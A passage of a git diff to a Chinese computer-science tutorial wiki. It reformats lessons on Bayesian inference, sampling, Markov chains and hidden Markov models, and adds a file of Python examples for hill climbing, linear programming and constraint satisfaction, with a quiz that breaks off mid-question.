不是查询结论的变量,也没有被观测到。例如,站在火车站,我们可以观察是否下雨,但我们不知道道路后面的轨道是否有维修。因此,在这种情况下,Maintenance 将是一个隐藏的变量。 -- The goal 目标: 计算$P(X|e)$。例如,根据我们知道有小雨的证据 $e$ 计算 Train 变量(查询)的概率分布。 -- 举一个例子。考虑到有小雨和没有轨道维护的证据,我们想计算 Appointment 变量的概率分布。也就是说,我们知道有小雨,没有轨道维护,我们想弄清楚我们参加约会和错过约会的概率是多少,$P(Appointment|light,no)$。从联合概率部分中,我们知道我们可以将约会随机变量的可能值表示为一个比例,将$P(Appointment|light,no)$重写为$αP(Appointment,light,no)$。如果 Appointment 的父节点仅为 Train 变量,而不是 Rain 或 Maintenance,我们如何计算约会的概率分布?在这里,我们将使用边缘化。$P(Appointment,light,no)$的值等于$α[P(Appointment,light,no,delay)+P(Appointment,light,no,on\ time)]$。 +- The goal 目标:计算$P(X|e)$。例如,根据我们知道有小雨的证据 $e$ 计算 Train 变量 (查询) 的概率分布。 + +举一个例子。考虑到有小雨和没有轨道维护的证据,我们想计算 Appointment 变量的概率分布。也就是说,我们知道有小雨,没有轨道维护,我们想弄清楚我们参加约会和错过约会的概率是多少,$P(Appointment|light,no)$。从联合概率部分中,我们知道我们可以将约会随机变量的可能值表示为一个比例,将$P(Appointment|light,no)$重写为$αP(Appointment,light,no)$。如果 Appointment 的父节点仅为 Train 变量,而不是 Rain 或 Maintenance,我们如何计算约会的概率分布?在这里,我们将使用边缘化。$P(Appointment,light,no)$的值等于$α[P(Appointment,light,no,delay)+P(Appointment,light,no,on\ time)]$。 ### 枚举推理 -- 枚举推理是在给定观测证据$e$和一些隐藏变量$Y$的情况下,找到变量$X$ 的概率分布的过程。 -- $P(X|e)=\alpha P(X,e)=\alpha \sum_yP(X,e,y)$ -- 在这个方程中,$X$代表查询变量,$e$代表观察到的证据,$y$代表隐藏变量的所有值,$α$归一化结果,使我们最终得到的概率加起来为1。用文字来解释这个方程,即给定$e$的$X$的概率分布等于$X$和$e$的归一化概率分布。为了得到这个分布,我们对$X、e$和$y$的归一化概率求和,其中$y$每次取隐藏变量$Y$ 的不同值。 -- Python 中存在多个库,以简化概率推理过程。我们将查看库 `pomegranate`,看看如何在代码中表示上述数据。 +枚举推理是在给定观测证据$e$和一些隐藏变量$Y$的情况下,找到变量$X$ 的概率分布的过程。 + +$P(X|e)=\alpha P(X,e)=\alpha \sum_yP(X,e,y)$ + +在这个方程中,$X$代表查询变量,$e$代表观察到的证据,$y$代表隐藏变量的所有值,$α$归一化结果,使我们最终得到的概率加起来为 1。用文字来解释这个方程,即给定$e$的$X$的概率分布等于$X$和$e$的归一化概率分布。为了得到这个分布,我们对$X、e$和$y$的归一化概率求和,其中$y$每次取隐藏变量$Y$ 的不同值。 + +Python 中存在多个库,以简化概率推理过程。我们将查看库 `pomegranate`,看看如何在代码中表示上述数据。 ```python from pomegranate import * '''创建节点,并为每个节点提供概率分布''' -# Rain节点没有父节点 +# Rain 节点没有父节点 rain = Node(DiscreteDistribution({ "none": 0.7, "light": 0.2, "heavy": 0.1 }), name="rain") -# Track maintenance节点以rain为条件 +# Track maintenance 节点以 rain 为条件 maintenance = Node(ConditionalProbabilityTable([ ["none", "yes", 0.4], ["none", "no", 0.6], @@ -215,7 +226,7 @@ maintenance = Node(ConditionalProbabilityTable([ ["heavy", "yes", 0.1], ["heavy", "no", 0.9] ], [rain.distribution]), name="maintenance") -# Train node节点以rain和maintenance为条件 +# Train node 节点以 rain 和 maintenance 为条件 train = Node(ConditionalProbabilityTable([ ["none", "yes", "on time", 0.8], ["none", "yes", "delayed", 0.2], @@ -230,7 +241,7 @@ train = Node(ConditionalProbabilityTable([ ["heavy", "no", "on time", 0.5], ["heavy", "no", "delayed", 0.5], ], [rain.distribution, maintenance.distribution]), name="train") -# Appointment节点以列车为条件 +# Appointment 节点以列车为条件 appointment = Node(ConditionalProbabilityTable([ ["on time", "attend", 0.9], ["on time", "miss", 0.1], @@ -252,7 +263,7 @@ model.bake() # 计算给定观测的概率 probability = model.probability([["none", "no", "on time", "attend"]]) print(probability) -'''我们可以使用该模型为所有变量提供概率分布,给出一些观测到的证据。在以下情况下,我们知道火车晚点了。给定这些信息,我们计算并打印变量Rain、Maintenance和Appointment的概率分布。''' +'''我们可以使用该模型为所有变量提供概率分布,给出一些观测到的证据。在以下情况下,我们知道火车晚点了。给定这些信息,我们计算并打印变量 Rain、Maintenance 和 Appointment 的概率分布。''' # 根据火车晚点的证据计算预测 predictions = model.predict_proba({ "train": "delayed" @@ -269,38 +280,40 @@ for node, prediction in zip(model.states, predictions): print(f" {value}: {probability:.4f}") ``` -- 上面的代码使用了枚举推理。然而,这种计算概率的方法效率很低,尤其是当模型中有很多变量时。另一种方法是放弃精确推理,转而采用近似推理。这样做,我们在生成的概率中会失去一些精度,但这种不精确性通常可以忽略不计。相反,我们获得了一种可扩展的概率计算方法。 +上面的代码使用了枚举推理。然而,这种计算概率的方法效率很低,尤其是当模型中有很多变量时。另一种方法是放弃精确推理,转而采用近似推理。这样做,我们在生成的概率中会失去一些精度,但这种不精确性通常可以忽略不计。相反,我们获得了一种可扩展的概率计算方法。 -### 采样(Sampling) +### 采样 (Sampling) -- 采样是一种近似推理技术。在采样中,根据每个变量的概率分布对其值进行采样。 +采样是一种近似推理技术。在采样中,根据每个变量的概率分布对其值进行采样。 > 要使用骰子采样生成分布,我们可以多次掷骰子,并记录每次获得的值。假设我们把骰子掷了 600 次。我们计算得到 1 的次数,应该大约是 100,然后对其余的值 2-6 重复采样。然后,我们将每个计数除以投掷的总数。这将生成掷骰子的值的近似分布:一方面,我们不太可能得到每个值发生概率为 1/6 的结果(这是确切的概率),但我们会得到一个接近它的值。 -- 如果我们从对 Rain 变量进行采样开始,则生成的值 none 的概率为 0.7,生成的值 light 的概率为 0.2,而生成的值 heavy 的概率则为 0.1。假设我们的采样值为 none。当我们得到 Maintenance 变量时,我们也会对其进行采样,但只能从 Rain 等于 none 的概率分布中进行采样,因为这是一个已经采样的结果。我们将通过所有节点继续这样做。现在我们有一个样本,多次重复这个过程会生成一个分布。现在,如果我们想回答一个问题,比如什么是$P(Train=on\ time)$,我们可以计算变量 Train 具有准时值的样本数量,并将结果除以样本总数。通过这种方式,我们刚刚生成了$P(Train=on\ {time})$的近似概率。 +如果我们从对 Rain 变量进行采样开始,则生成的值 none 的概率为 0.7,生成的值 light 的概率为 0.2,而生成的值 heavy 的概率则为 0.1。假设我们的采样值为 none。当我们得到 Maintenance 变量时,我们也会对其进行采样,但只能从 Rain 等于 none 的概率分布中进行采样,因为这是一个已经采样的结果。我们将通过所有节点继续这样做。现在我们有一个样本,多次重复这个过程会生成一个分布。现在,如果我们想回答一个问题,比如什么是$P(Train=on\ time)$,我们可以计算变量 Train 具有准时值的样本数量,并将结果除以样本总数。通过这种方式,我们刚刚生成了$P(Train=on\ {time})$的近似概率。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CreObGAg4oXB0oxe2hMcQbYZnAc.png) + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Vr96bdSafoV4kBxJ3x2cAU0TnOg.png) +我们也可以回答涉及条件概率的问题,例如$P(rain=light|train=on\ {time})$。在这种情况下,我们忽略 Train 值为 delay 的所有样本,然后照常进行。我们计算在$Train=\text{on time}$的样本中有多少样本具有变量$Rain=light$,然后除以$Train=\text{on time}$的样本总数。 -- 我们也可以回答涉及条件概率的问题,例如$P(rain=light|train=on\ {time})$。在这种情况下,我们忽略 Train 值为 delay 的所有样本,然后照常进行。我们计算在$Train=\text{on time}$的样本中有多少样本具有变量$Rain=light$,然后除以$Train=\text{on time}$的样本总数。 + + + + + +
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/KsELbuMTCoKZkGxU9U5czQpanKg.png) +| 去除$T= on time$的样本 | 选择$R=light$的样本 | +| --------------------- | ------------------ | +| ![](https://cdn.xyxsw.site/Ilj3bPKuwo0l6Dx13rZcVXfenOb.png) | ![](https://cdn.xyxsw.site/AptYbb5MZoylvex7LvPcSqivnef.png) | -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MrP0b2FbXofDsOxgnmncufUynAB.png) - -去除$T= on time$的样本 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Ilj3bPKuwo0l6Dx13rZcVXfenOb.png) - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/AptYbb5MZoylvex7LvPcSqivnef.png) - -选择$R=light$的样本 - -- 在代码中,采样函数可以是 `generate_sample`: +在代码中,采样函数可以是 `generate_sample`: ```python -'''如果你对pomegrante库不熟悉,没有关系,考虑generate_sample为一个黑盒,或者你可以在python解释器中查看model.states, state.distribution的值以了解model在该库中的实现方式''' +'''如果你对 pomegrante 库不熟悉,没有关系,考虑 generate_sample 为一个黑盒,或者你可以在 python 解释器中查看 model.states, state.distribution 的值以了解 model 在该库中的实现方式''' import pomegranate from collections import Counter def generate_sample(): @@ -321,49 +334,51 @@ def generate_sample(): # 返回生成的样本 return sample # 采样 -# 观测到train=delay,计算appointment分布 +# 观测到 train=delay,计算 appointment 分布 N = 10000 data = [] -# 重复采样10000次 +# 重复采样 10000 次 for i in range(N): # 根据我们之前定义的函数生成一个样本 sample = generate_sample() - # 如果在该样本中,Train的变量的值为delay,则保存样本。由于我们对给定train=delay的appointment概率分布感兴趣,我们丢弃了train=on time的采样样本。 + # 如果在该样本中,Train 的变量的值为 delay,则保存样本。由于我们对给定 train=delay 的 appointment 概率分布感兴趣,我们丢弃了 train=on time 的采样样本。 if sample["train"] == "delayed": data.append(sample["appointment"]) -# 计算变量的每个值出现的次数。我们可以稍后通过将结果除以保存的样本总数来进行归一化,以获得变量的近似概率,该概率加起来为1。 +# 计算变量的每个值出现的次数。我们可以稍后通过将结果除以保存的样本总数来进行归一化,以获得变量的近似概率,该概率加起来为 1。 print(Counter(data)) ``` ### 似然加权 -- 在上面的采样示例中,我们丢弃了与我们所掌握的证据不匹配的样本。这是低效的。解决这一问题的一种方法是使用似然加权,使用以下步骤: +在上面的采样示例中,我们丢弃了与我们所掌握的证据不匹配的样本。这是低效的。解决这一问题的一种方法是使用似然加权,使用以下步骤: - - 首先固定证据变量的值。 - - 使用贝叶斯网络中的条件概率对非证据变量进行采样。 - - 根据其可能性对每个样本进行加权: 所有证据出现的概率。 -- 例如,如果我们观察到$Train=\text{on time}$,我们将像之前一样开始采样。我们对给定概率分布的 Rain 值进行采样,然后对 Maintenance 进行采样,但当我们到达 Train 时,我们总是按照观测值取值。然后,我们继续进行,并在给定$Train=\text{on time}$的情况下,根据其概率分布对 Appointment 进行采样。既然这个样本存在,我们就根据观察到的变量在给定其采样父变量的情况下的条件概率对其进行加权。也就是说,如果我们采样了 Rain 并得到了 light,然后我们采样了 Maintenance 并得到了 yes,那么我们将用$P(Train=\text{on time}|light,yes)$来加权这个样本。 +- 首先固定证据变量的值。 +- 使用贝叶斯网络中的条件概率对非证据变量进行采样。 +- 根据其可能性对每个样本进行加权:所有证据出现的概率。 -## 马尔科夫模型(Markov Models) +例如,如果我们观察到$Train=\text{on time}$,我们将像之前一样开始采样。我们对给定概率分布的 Rain 值进行采样,然后对 Maintenance 进行采样,但当我们到达 Train 时,我们总是按照观测值取值。然后,我们继续进行,并在给定$Train=\text{on time}$的情况下,根据其概率分布对 Appointment 进行采样。既然这个样本存在,我们就根据观察到的变量在给定其采样父变量的情况下的条件概率对其进行加权。也就是说,如果我们采样了 Rain 并得到了 light,然后我们采样了 Maintenance 并得到了 yes,那么我们将用$P(Train=\text{on time}|light,yes)$来加权这个样本。 -- 到目前为止,我们已经研究了概率问题,给出了我们观察到的一些信息。在这种范式中,时间的维度没有以任何方式表示。然而,许多任务确实依赖于时间维度,例如预测。为了表示时间变量,我们将创建一个新的变量$X$,并根据感兴趣的事件对其进行更改,使$X_t$ 是当前事件,$X_{t+1}$ 是下一个事件,依此类推。为了能够预测未来的事件,我们将使用马尔可夫模型。 +## 马尔科夫模型 (Markov Models) -### 马尔科夫假设(The Markov Assumption) +到目前为止,我们已经研究了概率问题,给出了我们观察到的一些信息。在这种范式中,时间的维度没有以任何方式表示。然而,许多任务确实依赖于时间维度,例如预测。为了表示时间变量,我们将创建一个新的变量$X$,并根据感兴趣的事件对其进行更改,使$X_t$ 是当前事件,$X_{t+1}$ 是下一个事件,依此类推。为了能够预测未来的事件,我们将使用马尔可夫模型。 -- 马尔科夫假设是一个假设,即当前状态只取决于有限的固定数量的先前状态。想想预测天气的任务。在理论上,我们可以使用过去一年的所有数据来预测明天的天气。然而,这是不可行的,一方面是因为这需要计算能力,另一方面是因为可能没有关于基于 365 天前天气的明天天气的条件概率的信息。使用马尔科夫假设,我们限制了我们以前的状态(例如,在预测明天的天气时,我们要考虑多少个以前的日子),从而使这个任务变得可控。这意味着我们可能会得到感兴趣的概率的一个更粗略的近似值,但这往往足以满足我们的需要。此外,我们可以根据最后一个事件的信息来使用马尔可夫模型(例如,根据今天的天气来预测明天的天气)。 +### 马尔科夫假设 (**The Markov Assumption**) -### 马尔科夫链(Markov Chain) +马尔科夫假设是一个假设,即当前状态只取决于有限的固定数量的先前状态。想想预测天气的任务。在理论上,我们可以使用过去一年的所有数据来预测明天的天气。然而,这是不可行的,一方面是因为这需要计算能力,另一方面是因为可能没有关于基于 365 天前天气的明天天气的条件概率的信息。使用马尔科夫假设,我们限制了我们以前的状态(例如,在预测明天的天气时,我们要考虑多少个以前的日子),从而使这个任务变得可控。这意味着我们可能会得到感兴趣的概率的一个更粗略的近似值,但这往往足以满足我们的需要。此外,我们可以根据最后一个事件的信息来使用马尔可夫模型(例如,根据今天的天气来预测明天的天气)。 -- 马尔科夫链是一个随机变量的序列,每个变量的分布都遵循马尔科夫假设。也就是说,链中的每个事件的发生都是基于之前事件的概率。 -- 为了构建马尔可夫链,我们需要一个过渡模型,该模型将根据当前事件的可能值来指定下一个事件的概率分布。 +### 马尔科夫链 (**Markov Chain**) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/VBGxbrNgAovuKXxnTKYcm7UinFd.png) +马尔科夫链是一个随机变量的序列,每个变量的分布都遵循马尔科夫假设。也就是说,链中的每个事件的发生都是基于之前事件的概率。 -- 在这个例子中,基于今天是晴天,明天是晴天的概率是 0.8。这是合理的,因为晴天之后更可能是晴天。然而,如果今天是雨天,明天下雨的概率是 0.7,因为雨天更有可能相继出现。使用这个过渡模型,可以对马尔可夫链进行采样。从一天是雨天或晴天开始,然后根据今天的天气,对第二天的晴天或雨天的概率进行采样。然后,根据明天的情况对后天的概率进行采样,以此类推,形成马尔科夫链: +为了构建马尔可夫链,我们需要一个过渡模型,该模型将根据当前事件的可能值来指定下一个事件的概率分布。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XBghbKBaVoz0C4xa85rch804ngd.png) +![](https://cdn.xyxsw.site/VBGxbrNgAovuKXxnTKYcm7UinFd.png) -- 给定这个马尔可夫链,我们现在可以回答诸如“连续四个雨天的概率是多少?”这样的问题。下面是一个如何在代码中实现马尔可夫链的例子: +在这个例子中,基于今天是晴天,明天是晴天的概率是 0.8。这是合理的,因为晴天之后更可能是晴天。然而,如果今天是雨天,明天下雨的概率是 0.7,因为雨天更有可能相继出现。使用这个过渡模型,可以对马尔可夫链进行采样。从一天是雨天或晴天开始,然后根据今天的天气,对第二天的晴天或雨天的概率进行采样。然后,根据明天的情况对后天的概率进行采样,以此类推,形成马尔科夫链: + +![](https://cdn.xyxsw.site/XBghbKBaVoz0C4xa85rch804ngd.png) + +给定这个马尔可夫链,我们现在可以回答诸如“连续四个雨天的概率是多少?”这样的问题。下面是一个如何在代码中实现马尔可夫链的例子: ```python from pomegranate import * @@ -381,37 +396,42 @@ transitions = ConditionalProbabilityTable([ ], [start]) # 创造马尔科夫链 model = MarkovChain([start, transitions]) -# 采样50次 +# 采样 50 次 print(model.sample(50)) ``` -## 隐马尔科夫模型(Hidden Markov Models) +## 隐马尔科夫模型 (Hidden Markov Models) -- 隐马尔科夫模型是一种具有隐藏状态的系统的马尔科夫模型,它产生了一些观察到的事件。这意味着,有时候,人工智能对世界有一些测量,但无法获得世界的精确状态。在这些情况下,世界的状态被称为隐藏状态,而人工智能能够获得的任何数据都是观察结果。下面是一些这方面的例子: +隐马尔科夫模型是一种具有隐藏状态的系统的马尔科夫模型,它产生了一些观察到的事件。这意味着,有时候,人工智能对世界有一些测量,但无法获得世界的精确状态。在这些情况下,世界的状态被称为隐藏状态,而人工智能能够获得的任何数据都是观察结果。下面是一些这方面的例子: - - 对于一个探索未知领域的机器人来说,隐藏状态是它的位置,而观察是机器人的传感器所记录的数据。 - - 在语音识别中,隐藏状态是所讲的话语,而观察是音频波形。 - - 在衡量网站的用户参与度时,隐藏的状态是用户的参与程度,而观察是网站或应用程序的分析。 -- 举个例子。我们的人工智能想要推断天气(隐藏状态),但它只能接触到一个室内摄像头,记录有多少人带了雨伞。这里是我们的传感器模型(sensor model),表示了这些概率: +- 对于一个探索未知领域的机器人来说,隐藏状态是它的位置,而观察是机器人的传感器所记录的数据。 +- 在语音识别中,隐藏状态是所讲的话语,而观察是音频波形。 +- 在衡量网站的用户参与度时,隐藏的状态是用户的参与程度,而观察是网站或应用程序的分析。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png) +举个例子。我们的人工智能想要推断天气 (隐藏状态),但它只能接触到一个室内摄像头,记录有多少人带了雨伞。这里是我们的传感器模型 (sensor model),表示了这些概率: -- 在这个模型中,如果是晴天,人们很可能不会带伞到大楼。如果是雨天,那么人们就很有可能带伞到大楼来。通过对人们是否带伞的观察,我们可以合理地预测外面的天气情况。 +![](https://cdn.xyxsw.site/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png) + +在这个模型中,如果是晴天,人们很可能不会带伞到大楼。如果是雨天,那么人们就很有可能带伞到大楼来。通过对人们是否带伞的观察,我们可以合理地预测外面的天气情况。 ### 传感器马尔科夫假设 -- 假设证据变量只取决于相应的状态。例如,对于我们的模型,我们假设人们是否带雨伞去办公室只取决于天气。这不一定反映了完整的事实,因为,比如说,比较自觉的、不喜欢下雨的人可能即使在阳光明媚的时候也会到处带伞,如果我们知道每个人的个性,会给模型增加更多的数据。然而,传感器马尔科夫假设忽略了这些数据,假设只有隐藏状态会影响观察。 -- 隐马尔科夫模型可以用一个有两层的马尔科夫链来表示。上层,变量$X$,代表隐藏状态。底层,变量$E$,代表证据,即我们所拥有的观察。 +假设证据变量只取决于相应的状态。例如,对于我们的模型,我们假设人们是否带雨伞去办公室只取决于天气。这不一定反映了完整的事实,因为,比如说,比较自觉的、不喜欢下雨的人可能即使在阳光明媚的时候也会到处带伞,如果我们知道每个人的个性,会给模型增加更多的数据。然而,传感器马尔科夫假设忽略了这些数据,假设只有隐藏状态会影响观察。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FnyrbYSEWohimaxIYPSchotGnse.png) +隐马尔科夫模型可以用一个有两层的马尔科夫链来表示。上层,变量$X$,代表隐藏状态。底层,变量$E$,代表证据,即我们所拥有的观察。 -- 基于隐马尔科夫模型,可以实现多种任务: +![](https://cdn.xyxsw.site/FnyrbYSEWohimaxIYPSchotGnse.png) - - 筛选 Filtering: 给定从开始到现在的观察结果,计算出当前状态的概率分布。例如,给从从特定时间开始到今天人们带伞的信息,我们产生一个今天是否下雨的概率分布。 - - 预测 Prediction: 给定从开始到现在的观察,计算未来状态的概率分布。 - - 平滑化 Smoothing: 给定从开始到现在的观察,计算过去状态的概率分布。例如,鉴于今天人们带了雨伞,计算昨天下雨的概率。 - - 最可能的解释 Most likely explanation: 鉴于从开始到现在的观察,计算最可能的事件顺序。 -- 最可能的解释任务可用于语音识别等过程,根据多个波形,人工智能推断出给这些波形带来的最有可能的单词或音节的序列。接下来是一个隐马尔科夫模型的 Python 实现,我们将用于最可能的解释任务: +基于隐马尔科夫模型,可以实现多种任务: + +- 筛选 Filtering: 给定从开始到现在的观察结果,计算出当前状态的概率分布。例如,给从从特定时间开始到今天人们带伞的信息,我们产生一个今天是否下雨的概率分布。 +- 预测 Prediction: 给定从开始到现在的观察,计算未来状态的概率分布。 +- 平滑化 Smoothing: 给定从开始到现在的观察,计算过去状态的概率分布。例如,鉴于今天人们带了雨伞,计算昨天下雨的概率。 +- 最可能的解释 Most likely explanation: 鉴于从开始到现在的观察,计算最可能的事件顺序。 + + 最可能的解释任务可用于语音识别等过程,根据多个波形,人工智能推断出给这些波形带来的最有可能的单词或音节的序列。 + +接下来是一个隐马尔科夫模型的 Python 实现,我们将用于最可能的解释任务: ```python from pomegranate import * @@ -440,7 +460,7 @@ model = HiddenMarkovModel.from_matrix( model.bake() ``` -- 请注意,我们的模型同时具有传感器模型和过渡模型。对于隐马尔可夫模型,我们需要这两个模型。在下面的代码片段中,我们看到了人们是否带伞到大楼的观察序列,根据这个序列,我们将运行模型,它将生成并打印出最可能的解释(即最可能带来这种观察模式的天气序列): +请注意,我们的模型同时具有传感器模型和过渡模型。对于隐马尔可夫模型,我们需要这两个模型。在下面的代码片段中,我们看到了人们是否带伞到大楼的观察序列,根据这个序列,我们将运行模型,它将生成并打印出最可能的解释 (即最可能带来这种观察模式的天气序列): ```python from model import model @@ -462,4 +482,4 @@ for prediction in predictions: print(model.states[prediction].name) ``` -- 在这种情况下,程序的输出将是 rain,rain,sun,rain,rain,rain,rain,sun,sun。根据我们对人们带伞或不带伞到大楼的观察,这一输出代表了最有可能的天气模式。 +在这种情况下,程序的输出将是 rain,rain,sun,rain,rain,rain,rain,sun,sun。根据我们对人们带伞或不带伞到大楼的观察,这一输出代表了最有可能的天气模式。 diff --git a/4.人工智能/4.3.4.1程序示例.md b/4.人工智能/4.3.4.1程序示例.md new file mode 100644 index 0000000..b7a8f42 --- /dev/null +++ b/4.人工智能/4.3.4.1程序示例.md @@ -0,0 +1,341 @@ +# 程序示例 + +::: tip +阅读程序并运行 + +完成习题 +::: + +::: tip 📥 +本节附件下载 +::: + +## Hospital(局部搜索) + +```python +import random + +class Space(): + def __init__(self, height, width, num_hospitals): + """创建一个具有给定维度的新状态空间""" + self.height = height # 高度 + self.width = width # 宽度 + self.num_hospitals = num_hospitals # 医院数量 + self.houses = set() # 住房位置集合 + self.hospitals = set() # 医院位置集合 + + def add_house(self, row, col): + """在状态空间中的特定位置添加住房""" + self.houses.add((row, col)) + + def available_spaces(self): + """返回住房或医院当前未使用的所有单元格""" + # 考虑所有可能的单元格 + candidates = set( + (row, col) + for row in range(self.height) + for col in range(self.width) + ) + # 排除所有住房和医院 + for house in self.houses: + candidates.remove(house) + for hospital in self.hospitals: + candidates.remove(hospital) + return candidates + + def hill_climb(self, maximum=None, image_prefix=None, log=False): + """执行爬山算法找到解决方案""" + count = 0 + # 从随机初始化的医院位置开始 + self.hospitals = set() + for i in range(self.num_hospitals): + self.hospitals.add(random.choice(list(self.available_spaces()))) + ... + # 执行算法,直到达到最大迭代次数 + while maximum is None or count < maximum: + count += 1 + best_neighbors = [] + best_neighbor_cost = None + # 考虑所有医院移动 + for hospital in self.hospitals: + # 考虑一下那家医院的所有邻居 + for replacement in self.get_neighbors(*hospital): + # 生成一组相邻的医院 + neighbor = self.hospitals.copy() + neighbor.remove(hospital) + neighbor.add(replacement) + # 检查邻居是否是迄今为止最好的 + cost = self.get_cost(neighbor) + if best_neighbor_cost is None or cost < best_neighbor_cost: + best_neighbor_cost = cost + best_neighbors = [neighbor] + elif best_neighbor_cost == cost: + best_neighbors.append(neighbor) + # 没有一个邻居比目前的状态更好 + if best_neighbor_cost >= self.get_cost(self.hospitals): + return self.hospitals + # 移动到价值最高的邻居 + else: + ... + self.hospitals = random.choice(best_neighbors) + ... + + def random_restart(self, maximum, image_prefix=None, log=False): + """多次重复爬山算法""" + best_hospitals = None + best_cost = None + # 重复爬山算法的固定次数 + for i in range(maximum): + hospitals = self.hill_climb() + cost = self.get_cost(hospitals) + if best_cost is None or cost < best_cost: + best_cost = cost + best_hospitals = hospitals + ... + else: + ... + ... + return best_hospitals + + def get_cost(self, hospitals): + """计算从住房到最近医院的距离总和""" + cost = 0 + for house in self.houses: + cost += min( + abs(house[0] - hospital[0]) + abs(house[1] - hospital[1]) + for hospital in hospitals + ) + return cost + + def get_neighbors(self, row, col): + """返回尚未包含住房或医院的邻居""" + candidates = [ + (row - 1, col), + (row + 1, col), + (row, col - 1), + (row, col + 1) + ] + neighbors = [] + for r, c in candidates: + if (r, c) in self.houses or (r, c) in self.hospitals: + continue + if 0 <= r < self.height and 0 <= c < self.width: + neighbors.append((r, c)) + return neighbors + + def output_image(self, filename): + """生成所有房屋和医院的图像(不作要求)""" + from PIL import Image, ImageDraw, ImageFont + cell_size = 100 + cell_border = 2 + cost_size = 40 + padding = 10 + + # Create a blank canvas + img = Image.new( + "RGBA", + (self.width * cell_size, + self.height * cell_size + cost_size + padding * 2), + "white" + ) + house = Image.open("assets/images/House.png").resize( + (cell_size, cell_size) + ) + hospital = Image.open("assets/images/Hospital.png").resize( + (cell_size, cell_size) + ) + font = ImageFont.truetype("assets/fonts/OpenSans-Regular.ttf", 30) + draw = ImageDraw.Draw(img) + + for i in range(self.height): + for j in range(self.width): + + # Draw cell + rect = [ + (j * cell_size + cell_border, + i * cell_size + cell_border), + ((j + 1) * cell_size - cell_border, + (i + 1) * cell_size - cell_border) + ] + draw.rectangle(rect, fill="black") + + if (i, j) in self.houses: + img.paste(house, rect[0], house) + if (i, j) in self.hospitals: + img.paste(hospital, rect[0], hospital) + + # Add cost + draw.rectangle( + (0, self.height * cell_size, self.width * cell_size, + self.height * cell_size + cost_size + padding * 2), + "black" + ) + draw.text( + (padding, self.height * cell_size + padding), + f"Cost: {self.get_cost(self.hospitals)}", + fill="white", + font=font + ) + + img.save(filename) + +# 创建一个状态空间并随机添加住房 +s = Space(height=10, width=20, num_hospitals=3) +for i in range(15): + s.add_house(random.randrange(s.height), random.randrange(s.width)) +# 使用局部搜索来确定医院位置 +hospitals = s.random_restart(maximum=100, image_prefix="hospitals", log=True) +``` + +## Production(线性规划) + +```python +import scipy.optimize +# Objective Function: 50x_1 + 80x_2 +# Constraint 1: 5x_1 + 2x_2 <= 20 +# Constraint 2: -10x_1 + -12x_2 <= -90 +result = scipy.optimize.linprog( + [50, 80], # Cost function: 50x_1 + 80x_2 + A_ub=[[5, 2], [-10, -12]], # Coefficients for inequalities + b_ub=[20, -90], # Constraints for inequalities: 20 and -90 +) +if result.success: + print(f"X1: {round(result.x[0], 2)} hours") + print(f"X2: {round(result.x[1], 2)} hours") +else: + print("No solution") +``` + +## Schedule(约束满足) + +```python +"""没有任何启发式或推理的自然回溯搜索""" +VARIABLES = ["A", "B", "C", "D", "E", "F", "G"] +CONSTRAINTS = [ + ("A", "B"), + ("A", "C"), + ("B", "C"), + ("B", "D"), + ("B", "E"), + ("C", "E"), + ("C", "F"), + ("D", "E"), + ("E", "F"), + ("E", "G"), + ("F", "G") +] + +def backtrack(assignment): + """运行回溯搜索以查找赋值""" + # 检查赋值是否完成 + if len(assignment) == len(VARIABLES): + return assignment + # 尝试一个新变量 + var = select_unassigned_variable(assignment) + for value in ["Monday", "Tuesday", "Wednesday"]: + new_assignment = assignment.copy() + new_assignment[var] = value + if consistent(new_assignment): + result = backtrack(new_assignment) + if result is not None: + return result + return None + +def select_unassigned_variable(assignment): + """按顺序选择尚未赋值的变量""" + for variable in VARIABLES: + if variable not in assignment: + return variable + return None + + +def consistent(assignment): + """检查分配是否一致""" + for (x, y) in CONSTRAINTS: + # 仅考虑变量赋值都已指定的弧 + if x not in assignment or y not in assignment: + continue + # 如果两者的值相同,则不一致 + if assignment[x] == assignment[y]: + return False + # 如果没有不一致的地方,那么赋值是一致的 + return True + +solution = backtrack(dict()) +print(solution) +``` + +使用命令`pip install python-constraint`安装 constraint 库 + +```python +from constraint import * + +problem = Problem() + +# 添加变量 +problem.addVariables( + ["A", "B", "C", "D", "E", "F", "G"], + ["Monday", "Tuesday", "Wednesday"] +) + +# 添加约束 +CONSTRAINTS = [ + ("A", "B"), + ("A", "C"), + ("B", "C"), + ("B", "D"), + ("B", "E"), + ("C", "E"), + ("C", "F"), + ("D", "E"), + ("E", "F"), + ("E", "G"), + ("F", "G") +] +for x, y in CONSTRAINTS: + problem.addConstraint(lambda x, y: x != y, (x, y)) + +# Solve problem +for solution in problem.getSolutions(): + print(solution) +``` + +## Quiz + +1. 对于以下哪一项,即使多次重新运行算法,也会始终找到相同的解决方案? + 假设一个问题的目标是最小化成本函数,并且状态空间中的每个状态都有不同的成本。 + 1. Steepest-ascent hill-climbing,每次从不同的初始状态开始 + 2. Steepest-ascent hill-climbing,每次都从相同的初始状态开始 + 3. Stochastic hill-climbing,每次从不同的初始状态开始 + 4. Stochastic hill-climbing,每次都从相同的初始状态开始 + 5. 无论是 steepest-ascent 还是 stochastic hill climbing,只要你总是从同一个初始状态开始 + 6. 无论是 steepest-ascent 还是 stochastic hill climbing,只要每次都从不同的初始状态开始 + 7. 没有任何版本的爬山算法能保证每次都能得到相同的解决方案 + +2. 下面两个问题都会问你关于下面描述的优化问题。 + 一位农民正在尝试种植两种作物,`作物 1` 和`作物 2`,并希望实现利润最大化。农民将从种植的每英亩`作物 1` 中获得 500 美元的利润,从种植的每英亩`作物 2` 中获得 400 美元的利润。然而,农民今天需要在早上 7 点到晚上 7 点之间的 12 个小时内完成所有的种植。种植一英亩的`作物 1` 需要 3 